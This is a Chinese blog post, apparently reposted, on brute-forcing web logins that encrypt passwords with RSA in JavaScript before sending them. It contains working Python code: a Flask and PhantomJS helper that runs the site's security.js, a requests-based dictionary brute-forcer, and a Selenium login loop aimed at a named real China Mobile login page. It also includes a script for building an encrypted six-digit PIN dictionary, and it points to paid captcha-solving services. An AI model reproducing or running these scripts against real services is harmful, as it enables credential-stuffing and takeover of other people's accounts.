渗透测试过程中遇到 web 登录的时候,现在很多场景账号密码都是经过 js 加密之后再请求发送(通过抓包可以看到加密信息)如图一 burp 抓到的包, request 的 post 的登录包,很明显可以看到 password 参数的值是经过前端加密之后再进行传输的,遇到这种情况, 普通发包的爆破脚本就很难爆破成功。鉴于这种情况, 这边分析四种方式进行绕过加密爆破。
1. 分析找出是哪个 js 文件进行了 password 参数值的加密, 将该 js 导入本地动态执行,建一个小型的 web 服务器,利用浏览器页面将 js 运行起来,把账号密码发给本地这个服务器,然后本地 js 执行加密之后把加密的值再给登录的请求,实现普通的发包爆破。(这个时候普通的发包方式 password 参数的值就是加密之后的值)(这里渲染 js 可以用 webdrive 或者 phantomjs,或者 Node.js 都行)
2. 利用 selenium webdriver, 本地驱动一个浏览器, 完全模拟浏览器的操作, 实现浏览器自动登录爆破.(类似的工具,或者 Node.js,按键精灵,QTP 工具等都可以)
3. 通过对 js 里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式 (再下使用的是 python), 写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)
4. 利用前面的方法,把密码字典全部加密之后生成对应加密字典,然后普通发包爆破的时候传入加密的字典。
1) 分析登录界面,根据登录按钮之后进行 burp 抓包,发现每次登陆之前都会先请求一个页面
而该页面返回的是一个 json 格式的 m 开头和 e 开头的值
下图是直接从浏览器访问的截图
根据元素定位,从登陆页面的 login() 函数设置执行断点调试,理清密码利用 js 加密的一个过程,最后找出加密过程为登陆页面中的 rasEncode 函数
contextPath:就是网站首页
str :是输入的密码的明文
url :contextPath+"抹掉的路径",就是上面所说每次登陆之前去请求的页面,请求得到的就是 modulus 和 exponent 值
RSAPUB_KEY 就是利用 RSAUtils.getKeyPair 函数加密 modulus 和 exponent 得到的值
enpassword 就是最后我们在 第一张图里 burp 里抓到密码经过 js 加密之后的值。
enpassword 过程是利用 RSAUtils.encryptedString 函数,使 RSAPUB_KEY 为加密秘钥对原始密码进行字符串编码的值进行加密的结果(encodeURIComponent 是 JavaScript 中对字符串编码的函数)
document.getElementById('password').value=enpassword,html 中一个方法,最好将 enpassword 的值给需要 post 的 password 字段。
该过程中使用到的最主要的就是 RSAUtils.getKeyPair 和 RSAUtils.encryptedString 这两个方法。
通过最 Sources 的搜索,发现这两个方法都是 security.js 中定义的。
理清过程和找到对应的 js 之后,就可以将 security.js 文件保存到本地,利用 python(也可以用其他语言)编写一个简易的的服务器接收原始密码,计算输出 js 加密之后的密文。
实现如下:
server.py 是起 简易 server 的脚本
security.js 就是上面找到的加密的 js
index.html 获取原始密码的首页,result.html 是进行加密的页面
server.py 的代码:
# -*- coding:utf-8 -*-from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def hello_world():
if request.method == 'GET':
return render_template('index.html')
if request.method == 'POST':
print request.form['modulus']
print request.form['exponent']
print request.form['password']
return render_template('result.html', modulus=request.form['modulus'], exponent=request.form['exponent'],password=request.form['password'])
if __name__ == '__main__':
app.run(debug=True)
index.html 的代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post"action="/">
modulus:<input type="text"name="modulus"id="modulus"/><br>
exponent:<input type="text"name="exponent"id="exponent"/><br>
password:<input type="text"name="password"id="password"/><br>
<button type="submit">submit</button>
<br>
</form>
</body>
</html>
result.html 的代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="static/security.js"></script>
</head>
<body>
<p id="modulus"style="display: none">{{modulus}}</p><br>
<p id="exponent"style="display: none">{{exponent}}</p><br>
<p id="result">Hello World!</p>
这个 js 脚本就是图七中加密的过程的精简
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = document.getElementById('modulus').textContent;
var exponent = document.getElementById('exponent').textContent;
RSAPUB_KEY = RSAUtils.getKeyPair(exponent,'', modulus);
enpassword = RSAUtils.encryptedString(RSAPUB_KEY, encodeURIComponent('{{password}}'));
document.getElementById("result").innerHTML = enpassword;
console.log(enpassword);
</script>
</body>
</html>
server 运行起来之后打开的效果:
下图是最后的运行结果,这也是我们需要的加密之后的值
接着就是爆破的脚本 brute.py 通过 python 的 request 模块实现:
- # -*- coding:utf-8 -*-
- from selenium import webdriver
- import requests
- import json
- class INFO:
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- ARNING = '\033[93m'
- FAIL = '\033[91m'
- ENDC = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- def __init__(self):
- self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC
- self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC
- driver = webdriver.PhantomJS(executable_path="phantomjs")
- session = ''
- def get_pubkey():
- pubkey_url = 'https://xxx.xxxxx.xxx'#这里就是图三和图四所说的登录之前都要先获取的modulus和exponent字段的 url, 其实这 get_pubkey 都不需要,最后发现每次请求的modulus和exponent都没有变。
- response_pub = requests.post(pubkey_url)
- txt = json.loads(response_pub.content)
- modulus = txt['modulus']
- exponent = txt['exponent']
- return modulus, exponent
- #定义的get_enrsapassword函数就是获取加密之后的 password 值,这里利用PhantomJS对之前搭建的小型 server 的 index.html 和 result.html 页面进行渲染。
- def get_enrsapassword(modulus, exponent, password):
- driver.get('http://127.0.0.1:5000')
- driver.find_element_by_id('modulus').send_keys(modulus)
- driver.find_element_by_id('exponent').send_keys(exponent)
- driver.find_element_by_id('password').send_keys(password)
- driver.find_element_by_tag_name('button').click()
- return driver.find_element_by_id('result').text#最后得到就是加密之后的 password 值
- def verifyCode(session, url):
- #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。
- return verifyCode
- def login_snmoblie(session, username, enrsapassword, password):
- login_url = 'https://aa.bb.cccc.ddd/xxxxxxx'
- verifyCode_url='http://aa.bb.cccc.ddd/lsdfghdfgh.png'
- verifycode = verifyCode(session,verifyCode_url)
- data = {
- 'userName': username,
- 'password': enrsapassword,
- 'verifyCode': verifycode,
- 'OrCookies': '1',
- 'loginType': '1',
- 'fromUrl': 'uiue/login_max.jsp',
- 'toUrl': 'http://www.xx.cccc.cn/xx/xxxxx/'
- }
- logingres = session.post(login_url, data=data, allow_redirects=True)
- logingres_content = logingres.content
- con = re.findall('redirect.html', logingres_content)
- if con:
- print INFO().SUCCESS, INFO.OKGREEN + ' Find user:', username, ' and password:', password + INFO.ENDC
- else:
- print INFO().FAILED, INFO.FAIL + 'Error user:', username, 'and password:', password + INFO.ENDC
- if __name__ == '__main__':
- print INFO.OKGREEN + 'start brute force' + INFO.ENDC
- keys = get_pubkey()
- with open('dict.dict', 'r') as user:
- for userinfo in user.readlines():
- session = requests.Session()
- enrsapassword = get_enrsapassword(keys[0], keys[1], userinfo.split(':')[1].strip())
- login_snmoblie(session, userinfo.split(':')[0].strip(), enrsapassword, userinfo.split(':')[1].strip())
爆破过程:
利用 selenium webdriver,(或者其他类似的自动化工具)本地驱动一个浏览器, 完全模拟浏览器的操作, 实现浏览器自动登录爆破。
webdriver 的实现代码如下
- # -*- coding:utf-8 -*-
- from selenium import webdriver
- import time
- import requests
- class INFO:
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- ARNING = '\033[93m'
- FAIL = '\033[91m'
- ENDC = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- def __init__(self):
- self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC
- self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC
- def verifyCode(verifyCode_xpath):
- #利用 webdrive 这种驱动浏览器爆破的方式,打码就不能利用会话获取验证码,只能通过截图把当前页面的验证码截图下来,然后上传到打码平台进行打码
- #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。
- return verifyCode
- def login(driver, username, password):
- driver.get('https://sn.ac.10086.cn/login')
- time.sleep(2)
- verifyCode_xpath = '//*[@id="verifyImg"]' #验证码的 xpath
- verifycode = verifyCode(verifyCode_xpath)
- driver.find_element_by_xpath('//*[@id="userName"]').send_keys(username)#获取用户名的 Xpath 并传值
- driver.find_element_by_xpath('//*[@id="password"]').send_keys(password)#获取密码的 Xpath,并传值
- driver.find_element_by_xpath('//*[@id="verifyCode"]').send_keys(verifycode)#获取验证码的 Xpath,并将打码结果传给他
- driver.find_element_by_xpath('//*[@id="shoujihaoma"]/p[6]/span').click()#点击登录
- login_url = 'http://service.sn.10086.cn/app?service=page/MyMainPage&listener=initPage'
- time.sleep(6)
- print driver.current_url
- if driver.check_result(url=login_url, exkeyword_xpath={'//*[@id="loginButton"]': '登录'}):
- print INFO().SUCCESS
- else:
- print INFO().FAILED
- #if 语句进行登录成功与否的判定
- if __name__ == '__main__':
- proxy = "127.0.0.1:8080" #添加代理选项是查看爆破的情况
- chrome_options = webdriver.ChromeOptions()
- chrome_options.add_argument('--proxy-server=%s' % proxy)
- driver = webdriver.Chrome(chrome_options=chrome_options)
- with open ('dict', 'r') as dict:
- users = dict.readlines()
- for U in users:
- username = U.split(':')[0].strip()
- password = U.split(':')[1].strip()
- login(driver, username, password)
3. 第三种方式,通过对 js 里的加密算法进行破解,或者是理清加密流程:
第一是完全读懂他加密算法的实现然后破解他的加密算法然后用自己熟知的编程语言重写实现对密码加密,或者不用读懂破解他的算法,理清他的逻辑照着写一个就行了,例如他用定义变量,你也定义变量,他循环你也循环,完全照抄翻译式的写一个即可。写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。(也是实现普通的发包爆破)
我们可以简单看看他这里的实现逻辑,
从第一种方法分析中我们得知,这里就是实现密码加密的方法,简单的看是一个 RSA 家吗 RSAUtils.getKeyPair 函数利用 exponent 和 modulus 生成加密的公钥,然后 RSAUtils.encryptedString 利用公钥对密码进行加密,从断点调试中可以得知 RSAPUB_KEY 类型是一个对象。
而调用 RSAUtils.getKeyPair 和 RSAUtils.encryptedString 这两个函数是 security.js 这个 js 文件里定义的加密方法。
下图是 RSAUtils.encryptedString
去看了下标准的 RSA 加密算法,每次得到的 利用相同的公钥 enpassword 都会变,因为添加的因子,但是这个 security.js 里的 js 每次的 enpassword 都是固定,所以跟标准的还是有出入,最后花了是哪个小时左右一直没有进展,就没有继续分析下去了。不过这里更多的是提供分析的思路。知道的大牛可以传授我姿势。(如果日后还有时间,会把具体的实现代码补上)
到时候字典做成对应的格式
例如
admin: admin 的加密值
123456:123456 的加密值
qwerty:qwerty 的加密值
做成上面这种字典,发包传入的是是加密之后的值,终端打出来或者爆破成功之后保存的却是原始的值,利用我上文用的这个 spilt 方式取值。
username = U.split(':')[0].strip()
password = U.split(':')[1].strip()
下面是我利用 html 写的一个简单转化的方法,写的很简单,没有实现保存保存的格式大家可以自行修改丰富,或者利用我第一种方式里的那个代码原理去实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="security.js"></script>
</head>
<body>
<p id="modulus"style="display: none">{{modulus}}</p><br>
<p id="exponent"style="display: none">{{exponent}}</p><br>
<p id="result">Hello World!</p>
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = '009f8709656328cd8f93d6b862bde481ea0a52b17e7fa3e1875054095f1525715058b7398dc8e6696082de5412bf04576979e2534e89466a2c3ca4d8a6a82edd31860b3ad508664dc7367fe57b4cef6720adeadf64e8dc82f57295aa2bad50b19b7ca348568f4d7af79cd659afb79cf6a0fa63409c1f4f88e10c0b93a388292665';
var exponent = '010001';
var RSAPUB_KEY = RSAUtils.getKeyPair(exponent,'', modulus);
for(var ii=100000; ii<1000000; ii++) {
enpassword = RSAUtils.encryptedString(RSAPUB_KEY,''+ii);
console.log(enpassword);
}// 这里我是用的循环加密我需要的 6 位的数字密码,大家可以在这里导入自己的字典实现循环加密得到对应的字典
</script>
</body>
</html>
来源: http://www.bubuko.com/infodetail-1970774.html